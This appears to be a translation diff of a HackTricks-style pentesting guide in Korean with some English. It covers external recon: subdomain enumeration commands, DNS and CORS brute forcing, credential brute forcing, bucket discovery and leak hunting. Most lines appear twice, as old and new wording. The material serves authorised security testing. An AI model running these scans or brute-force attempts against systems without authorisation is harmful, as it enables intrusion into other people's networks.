At this point we known **all the assets inside the scope**, so if you are allowed you could launch some **vulnerability scanner** (Nessus, OpenVAS) over all the hosts.\
Also, you could launch some [**port scans**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **or use services like** shodan **to find** open ports **and depending on what you find you should** take a look in this book to how to pentest several possible services running.\
**또한, 기본 사용자 이름** **비밀번호 목록을 준비하고** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) **로 서비스를 브루트포스 시도하는 것도 가치가 있을 수 있습니다.**
이 시점에서 우리는 **범위 내 모든 자산**을 알고 있으므로, 허용된다면 모든 호스트에 대해 **취약점 스캐너**(Nessus, OpenVAS)를 실행할 수 있습니다.\
또한, [**포트 스캔**](../pentesting-network/index.html#discovering-hosts-from-the-outside)을 실행하거나 shodan **과 같은 서비스를 사용하여** 열린 포트를 찾고, 발견한 내용에 따라 이 책을 참고하여 여러 가능한 서비스에 대한 펜테스트 방법을 살펴봐야 합니다.\
**또한, 기본 사용자 이름** 비밀번호 **목록을 준비하고** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray)로 서비스를 브루트포스 시도하는 것도 가치가 있을 수 있습니다.
## 도메인
> We know all the companies inside the scope and their assets, it's time to find the domains inside the scope.
> 우리는 범위 내 모든 회사와 그 자산을 알고 있으며, 이제 범위 내 도메인을 찾을 시간입니다.
_다음에 제안된 기술을 사용하면 서브도메인도 찾을 수 있으며, 그 정보는 과소평가해서는 안 됩니다._
First of all you should look for the **main domain**(s) of each company. For example, for _Tesla Inc._ is going to be _tesla.com_.
먼저 각 회사의 **주 도메인**(들)을 찾아야 합니다. 예를 들어, _Tesla Inc._의 경우 _tesla.com_이 될 것입니다.
### **역 DNS**
As you have found all the IP ranges of the domains you could try to perform **reverse dns lookups** on those **IPs to find more domains inside the scope**. Try to use some dns server of the victim or some well-known dns server (1.1.1.1, 8.8.8.8)
도메인의 모든 IP 범위를 찾았으므로, **범위 내 더 많은 도메인을 찾기 위해 해당 IP에 대해 역 DNS 조회를 수행할 수 있습니다**. 피해자의 DNS 서버나 잘 알려진 DNS 서버(1.1.1.1, 8.8.8.8)를 사용해 보세요.
```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@ -141,16 +141,16 @@ return fhash
```
### **Copyright / Uniq string**
웹 페이지 내에서 **같은 조직의 서로 다른 웹에서 공유될 수 있는 문자열**을 검색합니다. **저작권 문자열**이 좋은 예가 될 수 있습니다. 그런 다음 **google**, 다른 **브라우저** 또는 **shodan**에서 해당 문자열을 검색합니다: `shodan search http.html:"Copyright string"`
웹 페이지 내에서 **같은 조직의 서로 다른 웹에서 공유될 수 있는 문자열**을 검색합니다. **저작권 문자열**이 좋은 예가 될 수 있습니다. 그런 다음 **구글**, 다른 **브라우저** 또는 **shodan**에서 해당 문자열을 검색합니다: `shodan search http.html:"Copyright string"`
### **CRT Time**
일반적으로 다음과 같은 크론 작업이 있습니다.
크론 작업이 있는 것이 일반적입니다.
```bash
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
서버에서 모든 도메인 인증서를 갱신합니다. 이는 CA가 생성된 시간을 유효성 시간에 설정하지 않더라도 **인증서 투명성 로그에서 동일한 회사에 속하는 도메인을 찾는 것이 가능하다는 것을 의미합니다**.\
서버에서 모든 도메인 인증서를 갱신합니다. 이는 CA가 유효성 기간에 생성 시간을 설정하지 않더라도 **인증서 투명성 로그에서 동일한 회사에 속하는 도메인을 찾는 것이 가능하다는 것을 의미합니다**.\
자세한 내용은 [**이 글**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)을 확인하세요.
### Mail DMARC 정보
@ -159,9 +159,9 @@ return fhash
### **수동 인수**
사람들이 클라우드 제공업체에 속하는 IP에 서브도메인을 할당하고 어느 시점에서 **그 IP 주소를 잃어버리지만 DNS 레코드를 제거하는 것을 잊는 것이 일반적입니다**. 따라서 클라우드에서 **VM을 생성하는 것만으로도** 실제로 **일부 서브도메인을 인수하게 됩니다**.
사람들이 클라우드 제공업체에 속하는 IP에 서브도메인을 할당하고 어느 시점에서 **그 IP 주소를 잃어버리지만 DNS 레코드를 제거하는 것을 잊는 것이 일반적입니다**. 따라서 클라우드(예: Digital Ocean)에서 **VM을 생성하는 것만으로도** 실제로 **일부 서브도메인을 인수하게 됩니다**.
[**이 게시물**](https://kmsec.uk/blog/passive-takeover/)은 이에 대한 이야기를 설명하고 **DigitalOcean에서 VM을 생성하고**, **새 머신의 IPv4를 가져오고**, **Virustotal에서 해당 서브도메인 레코드를 검색하는** 스크립트를 제안합니다.
[**이 게시물**](https://kmsec.uk/blog/passive-takeover/)은 이에 대한 이야기를 설명하고 **DigitalOcean에서 VM을 생성하고**, **새 머신의 IPv4를 가져오고**, **Virustotal에서 서브도메인 레코드를 검색하는** 스크립트를 제안합니다.
### **기타 방법**
@ -171,7 +171,7 @@ return fhash
IP 공간을 소유한 조직의 이름을 이미 알고 있으므로, `org:"Tesla, Inc."`를 사용하여 shodan에서 해당 데이터를 검색할 수 있습니다. TLS 인증서에서 새로운 예기치 않은 도메인을 찾기 위해 발견된 호스트를 확인하세요.
주 웹 페이지의 **TLS 인증서**에 접근하여 **조직 이름**을 얻고, 그런 다음 **shodan**에서 알려진 모든 웹 페이지의 **TLS 인증서** 내에서 해당 이름을 검색할 수 있습니다. 필터: `ssl:"Tesla Motors"`를 사용하거나 [**sslsearch**](https://github.com/HarshVaragiya/sslsearch)와 같은 도구를 사용할 수 있습니다.
웹 페이지의 **TLS 인증서**에 접근하여 **조직 이름**을 얻고, 그런 다음 **shodan**에서 알려진 모든 웹 페이지의 **TLS 인증서** 내에서 해당 이름을 검색할 수 있습니다. 필터: `ssl:"Tesla Motors"`를 사용하거나 [**sslsearch**](https://github.com/HarshVaragiya/sslsearch)와 같은 도구를 사용할 수 있습니다.
**Assetfinder**
@ -250,7 +250,7 @@ vita -d tesla.com
```bash
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
```
다른 흥미로운 도구/API가 있으며, 이들은 서브도메인을 찾는 데 직접적으로 특화되어 있지 않더라도 서브도메인을 찾는 데 유용할 수 있습니다. 예를 들어:
다른 흥미로운 도구/API가 있습니다. 이 도구들은 서브도메인을 찾는 데 직접적으로 특화되어 있지 않더라도 유용할 수 있습니다. 예를 들어:
- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** API [https://sonar.omnisint.io](https://sonar.omnisint.io)를 사용하여 서브도메인을 얻습니다.
```bash
@ -317,7 +317,7 @@ python3 DomainTrail.py -d example.com
이 프로젝트는 **버그 바운티 프로그램과 관련된 모든 서브도메인**을 무료로 제공합니다. 이 데이터는 [chaospy](https://github.com/dr-0x0x/chaospy)를 사용하여 접근할 수 있으며, 이 프로젝트에서 사용된 범위에 접근할 수도 있습니다 [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list).
여기에서 이러한 도구들의 **비교**를 찾을 수 있습니다: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
이 도구들에 대한 **비교**는 여기에서 확인할 수 있습니다: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
### **DNS 브루트 포스**
@ -331,7 +331,7 @@ python3 DomainTrail.py -d example.com
- [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
또한 좋은 DNS 해석기의 IP도 필요합니다. 신뢰할 수 있는 DNS 해석기 목록을 생성하기 위해 [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt)에서 해석기를 다운로드하고 [**dnsvalidator**](https://github.com/vortexau/dnsvalidator)를 사용하여 필터링할 수 있습니다. 또는 다음을 사용할 수 있습니다: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt).
또한 좋은 DNS 해석기의 IP도 필요합니다. 신뢰할 수 있는 DNS 해석기 목록을 생성하기 위해 [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt)에서 해석기를 다운로드하고 [**dnsvalidator**](https://github.com/vortexau/dnsvalidator)를 사용하여 필터링할 수 있습니다. 또는 [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)를 사용할 수도 있습니다.
DNS 브루트 포스에 가장 추천되는 도구는:
@ -345,7 +345,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns)는 `massdns`를 감싸는 Go로 작성된 도구로, 활성 브루트포스를 사용하여 유효한 서브도메인을 열거하고, 와일드카드 처리를 통해 서브도메인을 해결하며, 간편한 입력-출력 지원을 제공합니다.
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns)는 `massdns`를 감싸는 도구로, Go로 작성되었으며, 능동적인 브루트포스를 사용하여 유효한 서브도메인을 열거하고, 와일드카드 처리를 통해 서브도메인을 해결하며, 간편한 입력-출력 지원을 제공합니다.
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
@ -366,7 +366,7 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
cat subdomains.txt | dnsgen -
```
- [**goaltdns**](https://github.com/subfinder/goaltdns): 도메인과 서브도메인을 기반으로 순열을 생성합니다.
- **wordlist**의 goaltdns 순열은 [**여기**](https://github.com/subfinder/goaltdns/blob/master/words.txt)에서 확인할 수 있습니다.
- [**여기**](https://github.com/subfinder/goaltdns/blob/master/words.txt)에서 goaltdns 순열 **단어 목록**을 얻을 수 있습니다.
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
@ -385,7 +385,7 @@ altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
```
- [**alterx**](https://github.com/projectdiscovery/alterx)**:** 도메인을 기반으로 **지정된 패턴**에 따라 새로운 잠재적 서브도메인 이름을 **생성하여** 더 많은 서브도메인을 발견하려고 합니다.
- [**alterx**](https://github.com/projectdiscovery/alterx)**:** 주어진 도메인을 기반으로 **지정된 패턴에 따라 새로운 잠재적 서브도메인 이름을 생성**하여 더 많은 서브도메인을 발견하려고 시도합니다.
#### 스마트 순열 생성
@ -395,7 +395,7 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_는 매우 간단하지만 효과적인 DNS 응답 유도 알고리즘과 결합된 서브도메인 브루트포스 퍼저입니다. 이는 맞춤형 단어 목록이나 역사적 DNS/TLS 기록과 같은 제공된 입력 데이터를 활용하여 더 많은 해당 도메인 이름을 정확하게 합성하고 DNS 스캔 중 수집된 정보를 기반으로 이를 반복적으로 확장합니다.
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_는 매우 간단하지만 효과적인 DNS 응답 유도 알고리즘과 결합된 서브도메인 브루트포스 퍼저입니다. 이는 맞춤형 단어 목록이나 역사적 DNS/TLS 기록과 같은 제공된 입력 데이터 세트를 활용하여 더 많은 해당 도메인 이름을 정확하게 합성하고 DNS 스캔 중 수집된 정보를 기반으로 이를 반복적으로 확장합니다.
```
echo www | subzuf facebook.com
```
@ -440,23 +440,23 @@ VHostScan -t example.com
### **CORS Brute Force**
때때로 유효한 도메인/서브도메인이 _**Origin**_ 헤더에 설정될 때만 _**Access-Control-Allow-Origin**_ 헤더를 반환하는 페이지를 찾을 수 있습니다. 이러한 시나리오에서는 이 동작을 악용하여 **새로운** **서브도메인**을 **발견**할 수 있습니다.
때때로 유효한 도메인/서브도메인이 _**Origin**_ 헤더에 설정될 때만 _**Access-Control-Allow-Origin**_ 헤더를 반환하는 페이지를 발견할 수 있습니다. 이러한 시나리오에서는 이 동작을 악용하여 **새로운** **서브도메인**을 **발견**할 수 있습니다.
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
### **버킷 무차별 대입**
**서브도메인**을 찾는 동안 **버킷**으로 **포인팅**되는지 주의세요. 그런 경우 [**권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
또한, 이 시점에서 범위 내의 모든 도메인을 알게 되었으므로 [**가능한 버킷 이름을 무차별 대입하고 권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/).
**서브도메인**을 찾는 동안 **버킷**으로 **포인팅**되는지 주의 깊게 살펴보세요. 그런 경우 [**권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
또한, 이 시점에서 범위 내의 모든 도메인을 알게 되었으므로 [**가능한 버킷 이름을 무차별 대입하고 권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/index.html).
### **모니터링**
도메인의 **새 서브도메인**이 생성되는지 [**Certificate Transparency** 로그를 모니터링하여 확인할 수 있습니다.](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)
도메인의 **새 서브도메인**이 생성되는지 **Certificate Transparency** 로그를 모니터링하여 확인할 수 있습니다. [**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)가 이를 수행합니다.
### **취약점 찾기**
가능한 [**서브도메인 탈취**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)를 확인하세요.\
**서브도메인**이 어떤 **S3 버킷**으로 **포인팅**되고 있다면, [**권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/).
**서브도메인**이 어떤 **S3 버킷**으로 **포인팅**되고 있다면, [**권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/index.html).
자산 탐색에서 이미 발견한 것과 다른 **IP를 가진 서브도메인**을 발견하면, **기본 취약점 스캔**(Nessus 또는 OpenVAS 사용)과 **포트 스캔**(nmap/masscan/shodan 사용)을 수행해야 합니다. 실행 중인 서비스에 따라 **이 책에서 "공격"할 수 있는 몇 가지 요령을 찾을 수 있습니다**.\
&#xNAN;_&#x4E;ote that sometimes the subdomain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
@ -476,18 +476,18 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
**CDN에 속하지 않는 모든 IP에 대해 포트 스캔을 수행하세요**(여기서는 흥미로운 것을 찾지 못할 가능성이 높습니다). 발견된 실행 중인 서비스에서 **취약점을 찾을 수 있을지도 모릅니다**.
**호스트 스캔 방법에 대한** [**가이드를 찾으세요**](../pentesting-network/)**.**
**호스트 스캔 방법에 대한** [**가이드를 찾으세요**](../pentesting-network/index.html).
## 웹 서버 탐색
## 웹 서버 사냥
> 우리는 모든 회사와 그 자산을 찾았고, 범위 내의 IP 범위, 도메인 및 서브도메인을 알고 있습니다. 이제 웹 서버를 검색할 시간입니다.
이전 단계에서 이미 발견된 **IP 및 도메인에 대한 일부 재조사를 수행했을 가능성이 높으므로**, **모든 가능한 웹 서버를 이미 찾았을 수 있습니다**. 그러나 찾지 못했다면 이제 범위 내에서 **웹 서버를 검색하는 몇 가지 빠른 요령을 살펴보겠습니다**.
이전 단계에서 **발견된 IP와 도메인에 대한 일부 재콘을 수행했을 가능성이 높으므로**, **모든 가능한 웹 서버를 이미 찾았을 수 있습니다**. 그러나 찾지 못했다면 이제 범위 내에서 웹 서버를 검색하기 위한 **빠른 요령**을 살펴보겠습니다.
이것은 **웹 앱 발견**을 위한 **지**이므로, **취약점** 및 **포트 스캔**도 수행해야 합니다(**범위에서 허용되는 경우**).
이것은 **웹 앱 발견**을 위한 **지향적**이므로, **취약점** 및 **포트 스캔**도 수행해야 합니다(**범위에서 허용되는 경우**).
**웹** 서버와 관련된 **열려 있는 포트를 발견하는 빠른 방법**은 [**masscan**를 사용하는 것입니다.](../pentesting-network/index.html#http-port-discovery)\
웹 서버를 찾기 위한 또 다른 유용한 도구는 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 및 [**httpx**](https://github.com/projectdiscovery/httpx)입니다. 도메인 목록을 전달하면 포트 80 (http) 및 443 (https)에 연결을 시도합니다. 추가로 다른 포트를 시도하도록 지정할 수 있습니다:
[**masscan**을 사용하여 **웹** 서버와 관련된 **열려 있는 포트를 발견하는 빠른 방법**은 여기에서 찾을 수 있습니다](../pentesting-network/index.html#http-port-discovery).\
웹 서버를 찾기 위한 또 다른 유용한 도구는 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 및 [**httpx**](https://github.com/projectdiscovery/httpx)입니다. 도메인 목록을 전달하면 포트 80(HTTP) 및 443(HTTPS)에 연결을 시도합니다. 추가로 다른 포트를 시도하도록 지정할 수 있습니다:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
@ -510,11 +510,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
- [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
- [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
그런 다음, 이러한 단어로 **순열**을 생성해야 합니다 (자세한 내용은 [**두 번째 라운드 DNS 브루트포스**](#second-dns-bruteforce-round)를 확인하세요).
그런 다음, 이러한 단어로 **순열**을 생성해야 합니다 (자세한 내용은 [**두 번째 라운드 DNS 브루트포스**](#second-dns-bruteforce-round)를 참조하세요).
결과로 얻은 단어 목록을 사용하여 [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **또는** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**와 같은 도구를 사용할 수 있습니다.**
클라우드 자산을 찾을 때는 **AWS의 버킷 이상으로 더 많은 것을 찾아야 한다는 점을 기억하세요**.
클라우드 자산을 찾을 때는 **AWS의 버킷 이상으로 찾아야 한다는 점을 기억하세요**.
### **취약점 찾기**
@ -522,7 +522,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
## 이메일
범위 내의 **도메인**과 **서브도메인**을 통해 **이메일 검색을 시작할 수 있는 모든 것**을 갖추게 됩니다. 다음은 회사의 이메일을 찾는 데 가장 효과적이었던 **API**와 **도구**입니다:
**범위 내의 도메인**과 **서브도메인**을 통해 **이메일 검색을 시작할 수 있는 모든 것**을 갖추게 됩니다. 다음은 회사의 이메일을 찾는 데 가장 효과적이었던 **API**와 **도구**입니다:
- [**theHarvester**](https://github.com/laramies/theHarvester) - API 사용
- [**https://hunter.io/**](https://hunter.io/)의 API (무료 버전)
@ -550,8 +550,8 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### 깃허브 유출
자격 증명 및 API는 **회사의 공개 리포지토리** 또는 해당 깃허브 회사에서 일하는 **사용자**의 공개 리포지토리에 유출될 수 있습니다.\
**Leakos**라는 **도구**를 사용하여 **조직**과 그 **개발자**의 모든 **공개 리포**를 **다운로드**하고 자동으로 [**gitleaks**](https://github.com/zricethezav/gitleaks)를 실행할 수 있습니다.
자격 증명 및 API는 **회사의 공개 리포지토리** 또는 해당 깃허브 회사에서 일하는 **사용자**의 공개 리포지토리에 유출될 수 있습니다.\
**Leakos**라는 **도구**를 사용하여 **조직** 및 그 **개발자**의 모든 **공개 리포**를 **다운로드**하고, [**gitleaks**](https://github.com/zricethezav/gitleaks)를 자동으로 실행할 수 있습니다.
**Leakos**는 또한 제공된 **URL**에 대해 **gitleaks**를 실행하는 데 사용할 수 있으며, 때때로 **웹 페이지에도 비밀이 포함되어 있습니다**.
@ -565,14 +565,14 @@ github-leaked-secrets.md
### Paste 유출
때때로 공격자나 단순한 직원이 **회사 콘텐츠를 paste 사이트에 게시**니다. 이는 **민감한 정보**를 포함할 수도 있고 포함하지 않을 수도 있지만, 검색할 가치가 있습니다.\
때때로 공격자나 단순한 직원이 **회사 콘텐츠를 paste 사이트에 게시**할 수 있습니다. 이는 **민감한 정보**를 포함할 수도 있고 포함하지 않을 수도 있지만, 검색할 가치가 있습니다.\
[**Pastos**](https://github.com/carlospolop/Pastos)라는 도구를 사용하여 동시에 80개 이상의 paste 사이트에서 검색할 수 있습니다.
### 구글 도크
오래되었지만 여전히 유용한 구글 도크는 **거기에 있어서는 안 되는 노출된 정보를 찾는 데 항상 유용합니다**. 유일한 문제는 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)에 수천 개의 가능한 쿼리가 포함되어 있어 수동으로 실행할 수 없다는 것입니다. 따라서 좋아하는 10개를 선택하거나 [**Gorks**](https://github.com/carlospolop/Gorks)와 같은 **도구를 사용하여 모두 실행할 수 있습니다**.
_정기적인 Google 브라우저를 사용하여 데이터베이스를 모두 실행하려는 도구는 매우 빨리 차단될 것이므로 결코 끝나지 않을 것입니다._
_정기적인 Google 브라우저를 사용하여 모든 데이터베이스를 실행하려는 도구는 매우 빨리 Google에 의해 차단되므로 결코 끝나지 않을 것입니다._
### **취약점 찾기**
@ -580,7 +580,7 @@ _정기적인 Google 브라우저를 사용하여 데이터베이스를 모두
## 공개 코드 취약점
회사가 **오픈 소스 코드**를 가지고 있다면 이를 **분석**하고 **취약점**을 검색할 수 있습니다.
회사가 **오픈 소스 코드**를 가지고 있다면, 이를 **분석**하고 **취약점**을 검색할 수 있습니다.
**언어에 따라** 사용할 수 있는 다양한 **도구**가 있습니다:
@ -592,11 +592,11 @@ _정기적인 Google 브라우저를 사용하여 데이터베이스를 모두
- [**Snyk**](https://app.snyk.io/)
## [**웹 펜테스팅 방법론**](../../network-services-pentesting/pentesting-web/)
## [**웹 펜테스팅 방법론**](../../network-services-pentesting/pentesting-web/index.html)
**버그 헌터**가 발견한 **대부분의 취약점**은 **웹 애플리케이션** 내에 존재하므로, 이 시점에서 **웹 애플리케이션 테스트 방법론**에 대해 이야기하고 싶습니다. [**여기에서 이 정보를 찾을 수 있습니다**](../../network-services-pentesting/pentesting-web/).
**버그 헌터**가 발견한 **대부분의 취약점**은 **웹 애플리케이션** 내에 존재하므로, 이 시점에서 **웹 애플리케이션 테스트 방법론**에 대해 이야기하고 싶습니다. [**여기에서 이 정보를 찾을 수 있습니다**](../../network-services-pentesting/pentesting-web/index.html).
또한 [**웹 자동 스캐너 오픈 소스 도구**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) 섹션에 특별히 언급하고 싶습니다. 이 도구들은 매우 민감한 취약점을 찾을 것으로 기대하지 말아야 하지만, **초기 웹 정보를 얻기 위한 워크플로우에 유용합니다**.
또한 [**웹 자동 스캐너 오픈 소스 도구**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) 섹션에 특별히 언급하고 싶습니다. 이 도구들은 매우 민감한 취약점을 찾을 것으로 기대하지 말아야 하지만, **초기 웹 정보를 얻기 위한 워크플로우에 유용합니다.**
## 요약
@ -604,15 +604,15 @@ _정기적인 Google 브라우저를 사용하여 데이터베이스를 모두
따라서 이미 다음을 수행했습니다:
1. 범위 내의 모든 **회사**를 찾았습니다.
1. **범위 내의 모든 회사**를 찾았습니다.
2. 회사에 속하는 모든 **자산**을 찾았습니다 (범위 내에서 취약점 스캔 수행).
3. 회사에 속하는 모든 **도메인**을 찾았습니다.
4. 도메인의 모든 **서브도메인**을 찾았습니다 (서브도메인 탈취 가능성은?).
4. 도메인의 모든 **서브도메인**을 찾았습니다 (서브도메인 탈취 가능성은 있나요?).
5. 범위 내의 모든 **IP**를 찾았습니다 (CDN에서 온 것과 아닌 것).
6. 모든 **웹 서버**를 찾고 **스크린샷**을 찍었습니다 (더 깊이 살펴볼 가치가 있는 이상한 점?).
6. 모든 **웹 서버**를 찾고 **스크린샷**을 찍었습니다 (더 깊이 살펴볼 가치가 있는 이상한 점이 있나요?).
7. 회사에 속하는 모든 **잠재적 공개 클라우드 자산**을 찾았습니다.
8. **이메일**, **자격 증명 유출**, 및 **비밀 유출**로 인해 **매우 쉽게 큰 승리를 얻을 수 있습니다**.
9. 발견한 모든 웹을 **펜테스팅**했습니다.
8. **이메일**, **자격 증명 유출**, 및 **비밀 유출**로 인해 **매우 쉽게 큰 승리**를 얻을 수 있습니다.
9. 발견한 모든 웹을 **펜테스팅**니다.
## **전체 재콘 자동 도구**

View File

@ -11,23 +11,23 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
### 0- 물리적 공격
공격하고자 하는 기계에 **물리적 접근**이 있습니까? [**물리적 공격에 대한 몇 가지 요령**](../hardware-physical-access/physical-attacks.md)과 [**GUI 애플리케이션에서 탈출하는 방법**](../hardware-physical-access/escaping-from-gui-applications.md)에 대 읽어보세요.
공격하고자 하는 기계에 **물리적 접근**이 있습니까? [**물리적 공격에 대한 몇 가지 요령**](../hardware-physical-access/physical-attacks.md)과 [**GUI 애플리케이션에서 탈출하는 방법**](../hardware-physical-access/escaping-from-gui-applications.md)에 대한 내용을 읽어보세요.
### 1 - [네트워크 내 호스트 발견](pentesting-network/index.html#discovering-hosts)/ [회사의 자산 발견](external-recon-methodology/)
### 1 - [네트워크 내 호스트 발견](pentesting-network/index.html#discovering-hosts)/ [회사의 자산 발견](external-recon-methodology/index.html)
**테스트**가 **내부 테스트**인지 **외부 테스트**인지에 따라 **회사 네트워크 내 호스트**를 찾거나 **인터넷에서 회사의 자산**을 찾는 데 관심이 있을 수 있습니다.
> [!NOTE]
> 외부 테스트를 수행하는 경우, 회사의 내부 네트워크에 접근하게 되면 이 가이드를 다시 시작해야 합니다.
### **2-** [**네트워크와 함께 즐기기**](pentesting-network/) **(내부)**
### **2-** [**네트워크와 함께 즐기기**](pentesting-network/index.html) **(내부)**
**이 섹션은 내부 테스트를 수행하는 경우에만 적용됩니다.**\
호스트를 공격하기 전에 **네트워크에서 일부 자격 증명을 훔치거나** **데이터를 스니핑**하여 **수동/능동적으로(MitM)** 네트워크 내에서 무엇을 찾을 수 있는지 알아보는 것이 좋습니다. [**Pentesting Network**](pentesting-network/index.html#sniffing)를 읽어보세요.
### 3- [포트 스캔 - 서비스 발견](pentesting-network/index.html#scanning-hosts)
**호스트 취약점을 찾을 때** 가장 먼저 해야 할 일은 어떤 **서비스가 어떤 포트에서 실행되고 있는지** 아는 것입니다. [**호스트의 포트를 스캔하는 기본 도구**](pentesting-network/index.html#scanning-hosts)를 살펴보겠습니다.
**호스트에서 취약점을 찾을 때** 가장 먼저 해야 할 일은 어떤 **서비스가 어떤 포트에서 실행되고 있는지** 아는 것입니다. [**호스트의 포트를 스캔하는 기본 도구**](pentesting-network/index.html#scanning-hosts)를 살펴보겠습니다.
### **4-** [서비스 버전 익스플로잇 검색](../generic-hacking/search-exploits.md)
@ -39,36 +39,36 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
**이 책에서는 가장 일반적인 서비스에 대한 펜테스트 가이드를 찾을 수 있습니다** (그리고 그렇게 일반적이지 않은 서비스도 포함되어 있습니다). 왼쪽 인덱스에서 **_**PENTESTING**_ **섹션을 검색하세요** (서비스는 기본 포트에 따라 정렬되어 있습니다).
**특히** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **부분에 특별히 언급하고 싶습니다 (가장 방대한 부분이기 때문입니다).**\
**특히** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **부분에 특별히 언급하고 싶습니다 (가장 방대한 부분이기 때문입니다).**\
또한 [**소프트웨어에서 알려진 취약점을 찾는 방법**](../generic-hacking/search-exploits.md)에 대한 작은 가이드를 여기에서 찾을 수 있습니다.
**서비스가 인덱스에 없다면, Google에서 다른 튜토리얼을 검색하세요** 그리**추가해 달라고 알려주세요.** Google에서 **아무것도 찾을 수 없다면**, **자신의 블라인드 펜테스트**를 수행하세요. **서비스에 연결하고, 퍼징하고, 응답을 읽는 것**부터 시작할 수 있습니다 (있다면).
**인덱스에 서비스가 없다면, Google에서** 다른 튜토리얼을 검색하고 **추가해 달라고 알려주세요.** Google에서 **아무것도 찾을 수 없다면**, **자신의 블라인드 펜테스트를 수행하세요**, **서비스에 연결하고, 퍼징하고, 응답을 읽는 것**부터 시작할 수 있습니다 (있다면).
#### 5.1 자동 도구
**자동 취약점 평가**를 수행할 수 있는 여러 도구도 있습니다. **[**Legion**](https://github.com/carlospolop/legion)**을 시도해 보기를 권장합니다. 이 도구는 제가 만든 도구로, 이 책에서 찾을 수 있는 펜테스트 서비스에 대한 노트를 기반으로 합니다.**
